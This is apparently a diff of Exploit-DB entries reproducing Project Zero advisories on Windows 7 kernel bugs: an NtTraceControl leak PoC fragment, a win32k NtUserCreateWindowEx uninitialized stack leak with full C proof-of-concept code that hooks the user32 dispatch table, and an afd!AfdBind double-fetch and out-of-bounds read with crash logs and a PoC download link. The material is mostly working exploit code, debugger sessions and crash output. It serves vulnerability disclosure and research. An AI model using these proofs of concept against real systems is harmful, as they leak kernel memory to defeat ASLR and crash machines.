+ else {
+ printf(".");
+ }
+ }
+
+ printf("\n");
+ }
+}
+
+int main() {
+ BYTE data[] = "9\x00Microsoft.Windows.Kernel.KernelBase\x00\x13\x00\x01\x1asPO\xcf\x89\x82G\xb3\xe0\xdc\xe8\xc9\x04v\xba";
+ struct {
+ DWORD hevent;
+ DWORD padding1;
+ LPVOID data;
+ DWORD padding2;
+ USHORT data_size;
+ USHORT padding3;
+ DWORD padding4;
+ } Input = {
+ 0, 0, data, 0, sizeof(data) - 1, 0, 0
+ };
+ BYTE Output[1024] = { /* zero padding */ };
+
+ for (DWORD handle = 0x4; handle < 0x1000; handle += 4) {
+ Input.hevent = handle;
+
+ DWORD BytesReturned = 0;
+ NTSTATUS ntst = NtTraceControl(30, &Input, sizeof(Input), Output, sizeof(Output), &BytesReturned);
+ if (NT_SUCCESS(ntst)) {
+ PrintHex(Output, BytesReturned);
+ break;
+ }
+ }
+
+ return 0;
+}
diff --git a/platforms/windows/dos/42008.cpp b/platforms/windows/dos/42008.cpp
new file mode 100755
index 000000000..1365a28c6
--- /dev/null
+++ b/platforms/windows/dos/42008.cpp
@@ -0,0 +1,166 @@
+/*
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1182
+
+We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7 (other platforms untested) indirectly through the win32k!NtUserCreateWindowEx system call. The analysis shown below was performed on Windows 7 32-bit.
+
+The full stack trace of where uninitialized kernel stack data is leaked to user-mode is as follows:
+
+--- cut ---
+8a993e28 82ab667d nt!memcpy+0x35
+8a993e84 92c50063 nt!KeUserModeCallback+0xc6
+8a994188 92c5f436 win32k!xxxClientLpkDrawTextEx+0x16b
+8a9941f4 92c5f72e win32k!DT_GetExtentMinusPrefixes+0x91
+8a994230 92c5f814 win32k!NeedsEndEllipsis+0x3d
+8a99437c 92c5fa0f win32k!AddEllipsisAndDrawLine+0x56
+8a994404 92c5fa9b win32k!DrawTextExWorker+0x140
+8a994428 92bb8c65 win32k!DrawTextExW+0x1e
+8a9946f0 92b23702 win32k!xxxDrawCaptionTemp+0x54d
+8a994778 92b78ce8 win32k!xxxDrawCaptionBar+0x682
+8a99479c 92b8067f win32k!xxxDWP_DoNCActivate+0xd6
+8a994818 92b59c8d win32k!xxxRealDefWindowProc+0x7fe
+8a99483c 92b86c1c win32k!xxxDefWindowProc+0x10f
+8a994874 92b8c156 win32k!xxxSendMessageToClient+0x11b
+8a9948c0 92b8c205 win32k!xxxSendMessageTimeout+0x1cf
+8a9948e8 92b719b5 win32k!xxxSendMessage+0x28
+8a994960 92b4284b win32k!xxxActivateThisWindow+0x473
+8a9949c8 92b42431 win32k!xxxSetForegroundWindow2+0x3dd
+8a994a08 92b714c7 win32k!xxxSetForegroundWindow+0x1e4
+8a994a34 92b712d7 win32k!xxxActivateWindow+0x1b3
+8a994a48 92b70cd6 win32k!xxxSwpActivate+0x44
+8a994aa8 92b70f83 win32k!xxxEndDeferWindowPosEx+0x2b5
+8a994ac8 92b7504f win32k!xxxSetWindowPos+0xf6
+8a994b04 92b6f6dc win32k!xxxShowWindow+0x25a
+8a994c30 92b72da9 win32k!xxxCreateWindowEx+0x137b
+8a994cf0 82876db6 win32k!NtUserCreateWindowEx+0x2a8
+8a994cf0 77486c74 nt!KiSystemServicePostCall
+0022f9f8 770deb5c ntdll!KiFastSystemCallRet
+0022f9fc 770deaf0 USER32!NtUserCreateWindowEx+0xc
+0022fca0 770dec1c USER32!VerNtUserCreateWindowEx+0x1a3
+0022fd4c 770dec77 USER32!_CreateWindowEx+0x201
+0022fd88 004146a5 USER32!CreateWindowExW+0x33
+--- cut ---
+
+The win32k!xxxClientLpkDrawTextEx function invokes a user-mode callback #69 (corresponding to user32!__ClientLpkDrawTextEx), and passes in an input structure of 0x98 bytes. We have found that 4 bytes at offset 0x64 of that structure are uninitialized. These bytes come from offset 0x2C of a smaller structure of size 0x3C, which is passed to win32k!xxxClientLpkDrawTextEx through the 8th parameter. We have tracked that this smaller structure originates from the stack frame of the win32k!DrawTextExWorker function, and is passed down to win32k!DT_InitDrawTextInfo in the 4th argument.
+
+The uninitialized data can be obtained by a user-mode application by hooking the appropriate entry in the user32.dll callback dispatch table, and reading data from a pointer provided through the handler's parameter. This technique is illustrated by the attached proof-of-concept code (again, specific to Windows 7 32-bit). During a few quick attempts, we have been unable to control the leaked bytes with stack spraying techniques, or to get them to contain any meaningful values for the purpose of vulnerability demonstration. However, if we attach a WinDbg debugger to the tested system, we can set a breakpoint at the beginning of win32k!DrawTextExWorker, manually overwrite the 4 bytes in question to a controlled DWORD right after the stack frame allocation instructions, and then observe these bytes in the output of the PoC program, which indicates they were not initialized anywhere during execution between win32k!DrawTextExWorker and nt!KeUserModeCallback(), and copied in the leftover form to user-mode. See below:
+
+--- cut ---
+2: kd> ba e 1 win32k!DrawTextExWorker
+2: kd> g
+Breakpoint 0 hit
+win32k!DrawTextExWorker:
+8122f8cf 8bff mov edi,edi
+3: kd> p
+win32k!DrawTextExWorker+0x2:
+8122f8d1 55 push ebp
+3: kd> p
+win32k!DrawTextExWorker+0x3:
+8122f8d2 8bec mov ebp,esp
+3: kd> p
+win32k!DrawTextExWorker+0x5:
+8122f8d4 8b450c mov eax,dword ptr [ebp+0Ch]
+3: kd> p
+win32k!DrawTextExWorker+0x8:
+8122f8d7 83ec58 sub esp,58h
+3: kd> p
+win32k!DrawTextExWorker+0xb:
+8122f8da 53 push ebx
+3: kd> ed ebp-2c cccccccc
+3: kd> g
+Breakpoint 0 hit
+win32k!DrawTextExWorker:
+8122f8cf 8bff mov edi,edi
+3: kd> g
+--- cut ---
+
+Here, a 32-bit value at EBP-0x2C is overwritten with 0xCCCCCCCC. This is the address of the uninitialized memory, since it is located at offset 0x2C of a structure placed at EBP-0x58; EBP-0x58+0x2C = EBP-0x2C. After executing the above commands, the program should print output similar to the following:
+
+--- cut ---
+00000000: 98 00 00 00 18 00 00 00 01 00 00 00 00 00 00 00 ................
+00000010: 7c 00 00 00 00 00 00 00 14 00 16 00 80 00 00 00 |...............
+00000020: a4 02 01 0e 00 00 00 00 00 00 00 00 0a 00 00 00 ................
+00000030: 00 00 00 00 24 88 00 00 18 00 00 00 04 00 00 00 ....$...........
+00000040: 36 00 00 00 16 00 00 00 30 00 00 00 01 00 00 00 6.......0.......
+00000050: 01 00 00 00 0d 00 00 00 1e 00 00 00 00 00 00 00 ................
+00000060: 00 00 00 00[cc cc cc cc]00 00 00 00 04 00 00 00 ................
+00000070: ff ff ff ff 01 00 00 00 ff ff ff ff 1c 00 00 00 ................
+00000080: 54 00 65 00 73 00 74 00 57 00 69 00 6e 00 64 00 T.e.s.t.W.i.n.d.
+00000090: 6f 00 77 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? o.w.............
+--- cut ---
+
+It's clearly visible that bytes at offsets 0x64-0x67 are equal to the data we set in the prologue of win32k!DrawTextExWorker, which illustrates how uninitialized stack data is leaked to user-mode.
+
+Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
+*/
+
+#include
+#include
+
+VOID PrintHex(PBYTE Data, ULONG dwBytes) {
+ for (ULONG i = 0; i < dwBytes; i += 16) {
+ printf("%.8x: ", i);
+
+ for (ULONG j = 0; j < 16; j++) {
+ if (i + j < dwBytes) {
+ printf("%.2x ", Data[i + j]);
+ }
+ else {
+ printf("?? ");
+ }
+ }
+
+ for (ULONG j = 0; j < 16; j++) {
+ if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
+ printf("%c", Data[i + j]);
+ }
+ else {
+ printf(".");
+ }
+ }
+
+ printf("\n");
+ }
+}
+
+PVOID *GetUser32DispatchTable() {
+ __asm{
+ mov eax, fs:30h
+ mov eax, [eax+0x2c]
+ }
+}
+
+BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler) {
+ PVOID *DispatchTable = GetUser32DispatchTable();
+ DWORD OldProtect;
+
+ if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) {
+ printf("VirtualProtect#1 failed, %d\n", GetLastError());
+ return FALSE;
+ }
+
+ DispatchTable[Index] = lpNewHandler;
+
+ if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) {
+ printf("VirtualProtect#2 failed, %d\n", GetLastError());
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+VOID ClientLpkDrawTextExHook(LPVOID Data) {
+ printf("----------\n");
+ PrintHex((PBYTE)Data, 0x98);
+}
+
+int main() {
+ if (!HookUser32DispatchFunction(69, ClientLpkDrawTextExHook)) {
+ return 1;
+ }
+
+ HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
+ CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, NULL, 0, 0);
+ DestroyWindow(hwnd);
+
+ return 0;
+}
diff --git a/platforms/windows/dos/42009.txt b/platforms/windows/dos/42009.txt
new file mode 100755
index 000000000..e7561558c
--- /dev/null
+++ b/platforms/windows/dos/42009.txt
@@ -0,0 +1,212 @@
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1127
+
+We have identified two related bugs in Windows kernel code responsible for implementing the bind() socket function, specifically in the afd!AfdBind and tcpip!TcpBindEndpoint routines. They both can lead to reading beyond the allocated pool-based buffer memory area, potentially allowing user-mode applications to disclose kernel-mode secrets. They can also be exploited to trigger a blue screen of death and therefore a Denial of Service condition.
+
+The details are explained below.
+
+----------[ Double-fetch in afd!AfdBind ]----------
+
+In the code of the afd!AfdBind function of the up-to-date afd.sys module (handler of the AFD_BIND IOCTL accessible from ring-3) on Windows 7 32-bit, we can find the following assembly code construct:
+
+--- cut ---
+ PAGE:00024D71 push 0EC646641h ; Tag
+ PAGE:00024D76 push [ebp+NumberOfBytes] ; NumberOfBytes
+ PAGE:00024D79 push 10h ; PoolType
+ PAGE:00024D7B call ds:__imp__ExAllocatePoolWithQuotaTag@12
+ [...]
+ PAGE:00024DD2 lea edi, [eax+4]
+ PAGE:00024DD5 push edi ; void *
+ PAGE:00024DD6 push [ebp+P] ; void *
+ PAGE:00024DD9 call ds:__imp__memmove <------------------- Fetch #1
+ PAGE:00024DDF add esp, 0Ch
+ PAGE:00024DE2 movzx eax, word ptr [edi] <----------------- Fetch #2
+ PAGE:00024DE5 cmp ax, 22h
+ PAGE:00024DE9 jb short loc_24E01
+ [...]
+ PAGE:00024E01
+ PAGE:00024E01 loc_24E01:
+ PAGE:00024E01 push eax
+ PAGE:00024E02 call _SOCKADDR_SIZE@4 ; SOCKADDR_SIZE(x)
+ PAGE:00024E07 movzx eax, al
+ PAGE:00024E0A cmp [ebp+NumberOfBytes], eax
+ PAGE:00024E0D jnb short loc_24E25
+--- cut ---
+
+Which translates to the following pseudo-code:
+
+--- cut ---
+ LPINPUTSTRUCT lpKernelStruct = ExAllocatePool(NumberOfBytes);
+ memmove(lpKernelStruct, lpUserStruct, NumberOfBytes); <-------------------- Fetch #1
+
+ if (NumberOfBytes < SOCKADDR_SIZE(lpUserStruct->dwStructType)) { <--------- Fetch #2
+ // Bail out.
+ }
+--- cut ---
+
+As can be seen, the first WORD of the input structure is fetched twice from a user-mode buffer: once during the memmove() call, and once when directly accessing it to pass its value as an argument to the SOCKADDR_SIZE function. The SOCKADDR_SIZE function is mostly just a wrapper around the constant sockaddr_size[] array, which has the following values:
+
+ * indexes 0x00..0x01: 0x00
+ * index 0x02: 0x10
+ * indexes 0x03..0x16: 0x00
+ * index 0x17: 0x1C
+ * indexes 0x16..0x21: 0x00
+
+The double fetch makes it possible for the first WORD of the structure to have different values on each access from kernel-mode (through another thread concurrently flipping its bits). For example, it could have the valid value 2 or 0x17 at the time of the memmove(), but any other value at the time of the direct access. This would lead to comparing the input structure size with 0 (which is the corresponding entry in sockaddr_size[]), effectively nullifying the sanitization. Other code down the execution flow may then assume that the size of the buffer has been correctly verified, and access some fields at predefined offsets, which may be located outside of the allocated buffer, if the user specifies a very small size.
+
+In our case, the confused code is in tcpip!TcpBindEndpoint, which tries to copy an excessive number of bytes from a very small allocation. A crash log excerpt is shown below:
+
+--- cut ---
+ DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
+ N bytes of memory was allocated and more than N bytes are being referenced.
+ This cannot be protected by try-except.
+ When possible, the guilty driver's name (Unicode string) is printed on
+ the bugcheck screen and saved in KiBugCheckDriver.
+ Arguments:
+ Arg1: 8c5ed000, memory referenced
+ Arg2: 00000000, value 0 = read operation, 1 = write operation
+ Arg3: 84c703fe, if non-zero, the address which referenced memory.
+ Arg4: 00000000, (reserved)
+
+ Debugging Details:
+ ------------------
+
+ [...]
+
+ TRAP_FRAME: 96647818 -- (.trap 0xffffffff96647818)
+ ErrCode = 00000000
+ eax=9512d970 ebx=95051020 ecx=00000003 edx=00000000 esi=8c5ed000 edi=9505104c
+ eip=84c703fe esp=9664788c ebp=96647898 iopl=0 nv up ei ng nz ac po cy
+ cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010293
+ tcpip!TcpBindEndpoint+0x51:
+ 84c703fe f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
+ Resetting default scope
+
+ LAST_CONTROL_TRANSFER: from 81722dff to 816be9d8
+
+ STACK_TEXT:
+ 9664736c 81722dff 00000003 d1dfd5f3 00000065 nt!RtlpBreakWithStatusInstruction
+ 966473bc 817238fd 00000003 00000000 00000004 nt!KiBugCheckDebugBreak+0x1c
+ 96647780 816d199d 00000050 8c5ed000 00000000 nt!KeBugCheck2+0x68b
+ 96647800 81683f98 00000000 8c5ed000 00000000 nt!MmAccessFault+0x104
+ 96647800 84c703fe 00000000 8c5ed000 00000000 nt!KiTrap0E+0xdc
+ 96647898 84c7039e 951769a0 8c2e3896 9512d970 tcpip!TcpBindEndpoint+0x51
+ 966478b8 84c72900 951769a0 966479cc 00000000 tcpip!TcpIoControlEndpoint+0x199
+ 966478cc 816ccbe5 9664795c d1dfdf7b 00000000 tcpip!TcpTlEndpointIoControlEndpointCalloutRoutine+0x8b
+ 96647934 84c6d89e 84c72875 9664795c 00000000 nt!KeExpandKernelStackAndCalloutEx+0x132
+ 9664796c 8c2e05ed 95176900 96647901 966479f8 tcpip!TcpTlEndpointIoControlEndpoint+0x67
+ 966479a0 8c2e06aa 84c6d837 951769a0 966479cc afd!AfdTLIoControl+0x33
+ 966479b8 8c2e3afa 8c53eef0 966479cc 9512d970 afd!AfdTLEndpointIoControl+0x1a
+ 966479f8 8c2e388a 9512d970 8c53eef0 9512d970 afd!AfdTLBind+0x4b
+ 96647a40 8c2d3eb8 9512d970 8c53eef0 00000000 afd!AfdTLBindSecurity+0x108
+ 96647aac 8c2e02bc 85e81198 9512d970 96647ae0 afd!AfdBind+0x283
+ 96647abc 8197d4d9 8bc0edd0 9512d970 85e81198 afd!AfdDispatchDeviceControl+0x3b
+ 96647ae0 8167a0e0 818727af 9512d970 8bc0edd0 nt!IovCallDriver+0x73
+ 96647af4 818727af 00000000 9512d970 9512da4c nt!IofCallDriver+0x1b
+ 96647b14 81875afe 8bc0edd0 85e81198 00000000 nt!IopSynchronousServiceTail+0x1f8
+ 96647bd0 818bcab0 00000054 9512d970 00000000 nt!IopXxxControlFile+0x810
+ 96647c04 81680db6 00000054 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
+ 96647c04 77716c74 00000054 00000000 00000000 nt!KiSystemServicePostCall
+ 0034f8b8 7771542c 75acab4d 00000054 00000000 ntdll!KiFastSystemCallRet
+ 0034f8bc 75acab4d 00000054 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
+ 0034f91c 7712bb75 00000054 00012003 001530d0 KERNELBASE!DeviceIoControl+0xf6
+ 0034f948 00141141 00000054 00012003 001530d0 kernel32!DeviceIoControlImplementation+0x80
+ [...]
+--- cut ---
+
+We suspect it should be possible to extract some of the junk pool memory back to user-mode, e.g. through the IP address and port assigned to the socket in question. The issue reproduces on Windows 7, and is easiest to observe with Special Pools enabled for the afd.sys module. Attached is a afdbind_doublefetch.cpp file which is the C++ source code of a proof-of-concept program for the issue.
+
+----------[ Buffer size sanitization logic in afd!AfdBind and tcpip!TcpBindEndpoint ]----------
+
+As discussed before, the sockaddr_size[] array used during input structure size sanitization is full of 0x00's, except for indexes 0x2 and 0x17 (which are probably the only two valid packet types). Thus, if we call an IOCTL with the WORD containing a value other than the two, the sanitization will be virtually non-existent, and the input buffer is allowed to have any size at all. However, if we take a look at the tcpip!TcpBindEndpoint routine, we can see the following logic:
+
+--- cut ---
+ .text:000533EC cmp word ptr [esi], 2
+ .text:000533F0 lea edi, [ebx+1Ch]
+ .text:000533F3 jnz short loc_533FB
+ .text:000533F5 movsd
+ .text:000533F6 movsd
+ .text:000533F7 movsd
+ .text:000533F8 movsd
+ .text:000533F9 jmp short loc_53400
+ .text:000533FB
+ .text:000533FB loc_533FB:
+ .text:000533FB push 7
+ .text:000533FD pop ecx
+ .text:000533FE rep movsd
+--- cut ---
+
+which translates to:
+
+--- cut ---
+ if (lpKernelStruct->dwStructType == 2) {
+ memcpy(lpNewStruct, lpKernelStruct, 0x10);
+ } else {
+ memcpy(lpNewStruct, lpKernelStruct, 0x1C);
+ }
+--- cut ---
+
+In other words, if the first WORD doesn't equal 2, the function assumes that it must equal 0x17 and thus the buffer must have been verified to be at least 0x1C bytes long. However, as the dwStructType value and buffer size may be arbitrary, an out-of-bounds read of at most ~0x1C bytes may occur in the memcpy() call. An excerpt from a subsequent crash is shown below (very similar to the previous one):
+
+--- cut ---
+ DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
+ N bytes of memory was allocated and more than N bytes are being referenced.
+ This cannot be protected by try-except.
+ When possible, the guilty driver's name (Unicode string) is printed on
+ the bugcheck screen and saved in KiBugCheckDriver.
+ Arguments:
+ Arg1: 8b523000, memory referenced
+ Arg2: 00000000, value 0 = read operation, 1 = write operation
+ Arg3: 84e793fe, if non-zero, the address which referenced memory.
+ Arg4: 00000000, (reserved)
+
+ Debugging Details:
+ ------------------
+
+ [...]
+
+ TRAP_FRAME: 88c67818 -- (.trap 0xffffffff88c67818)
+ ErrCode = 00000000
+ eax=84492318 ebx=94e30020 ecx=00000003 edx=00000000 esi=8b523000 edi=94e3004c
+ eip=84e793fe esp=88c6788c ebp=88c67898 iopl=0 nv up ei ng nz ac po cy
+ cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010293
+ tcpip!TcpBindEndpoint+0x51:
+ 84e793fe f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
+ Resetting default scope
+
+ LAST_CONTROL_TRANSFER: from 82730dff to 826cc9d8
+
+ STACK_TEXT:
+ 88c6736c 82730dff 00000003 fbe6b7bb 00000065 nt!RtlpBreakWithStatusInstruction
+ 88c673bc 827318fd 00000003 00000000 00000004 nt!KiBugCheckDebugBreak+0x1c
+ 88c67780 826df99d 00000050 8b523000 00000000 nt!KeBugCheck2+0x68b
+ 88c67800 82691f98 00000000 8b523000 00000000 nt!MmAccessFault+0x104
+ 88c67800 84e793fe 00000000 8b523000 00000000 nt!KiTrap0E+0xdc
+ 88c67898 84e7939e 95464008 8b8ca896 84492318 tcpip!TcpBindEndpoint+0x51
+ 88c678b8 84e7b900 95464008 88c679cc 00000000 tcpip!TcpIoControlEndpoint+0x199
+ 88c678cc 826dabe5 88c6795c fbe6bd33 00000000 tcpip!TcpTlEndpointIoControlEndpointCalloutRoutine+0x8b
+ 88c67934 84e7689e 84e7b875 88c6795c 00000000 nt!KeExpandKernelStackAndCalloutEx+0x132
+ 88c6796c 8b8c75ed 95464000 88c67901 88c679f8 tcpip!TcpTlEndpointIoControlEndpoint+0x67
+ 88c679a0 8b8c76aa 84e76837 95464008 88c679cc afd!AfdTLIoControl+0x33
+ 88c679b8 8b8caafa 8b54aef0 88c679cc 84492318 afd!AfdTLEndpointIoControl+0x1a
+ 88c679f8 8b8ca88a 84492318 8b54aef0 84492318 afd!AfdTLBind+0x4b
+ 88c67a40 8b8baeb8 84492318 8b54aef0 00000000 afd!AfdTLBindSecurity+0x108
+ 88c67aac 8b8c72bc 95463210 84492318 88c67ae0 afd!AfdBind+0x283
+ 88c67abc 8298b4d9 86cac1a0 84492318 95463210 afd!AfdDispatchDeviceControl+0x3b
+ 88c67ae0 826880e0 828807af 84492318 86cac1a0 nt!IovCallDriver+0x73
+ 88c67af4 828807af 00000000 84492318 844923f4 nt!IofCallDriver+0x1b
+ 88c67b14 82883afe 86cac1a0 95463210 00000000 nt!IopSynchronousServiceTail+0x1f8
+ 88c67bd0 828caab0 00000054 84492318 00000000 nt!IopXxxControlFile+0x810
+ 88c67c04 8268edb6 00000054 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
+ 88c67c04 775a6c74 00000054 00000000 00000000 nt!KiSystemServicePostCall
+ 0024faa4 775a542c 7570ab4d 00000054 00000000 ntdll!KiFastSystemCallRet
+ 0024faa8 7570ab4d 00000054 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
+ 0024fb08 75d1bb75 00000054 00012003 0024fc38 KERNELBASE!DeviceIoControl+0xf6
+ 0024fb34 010b120b 00000054 00012003 0024fc38 kernel32!DeviceIoControlImplementation+0x80
+ [...]
+--- cut ---
+
+The issue reproduces on Windows 7, and is easiest to observe with Special Pools enabled for the afd.sys module. Attached is a afdbind_tcpip_oob_read.cpp file which is the C++ source code of a proof-of-concept program for the issue.
+
+
+Proofs of Concept:
+https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42009.zip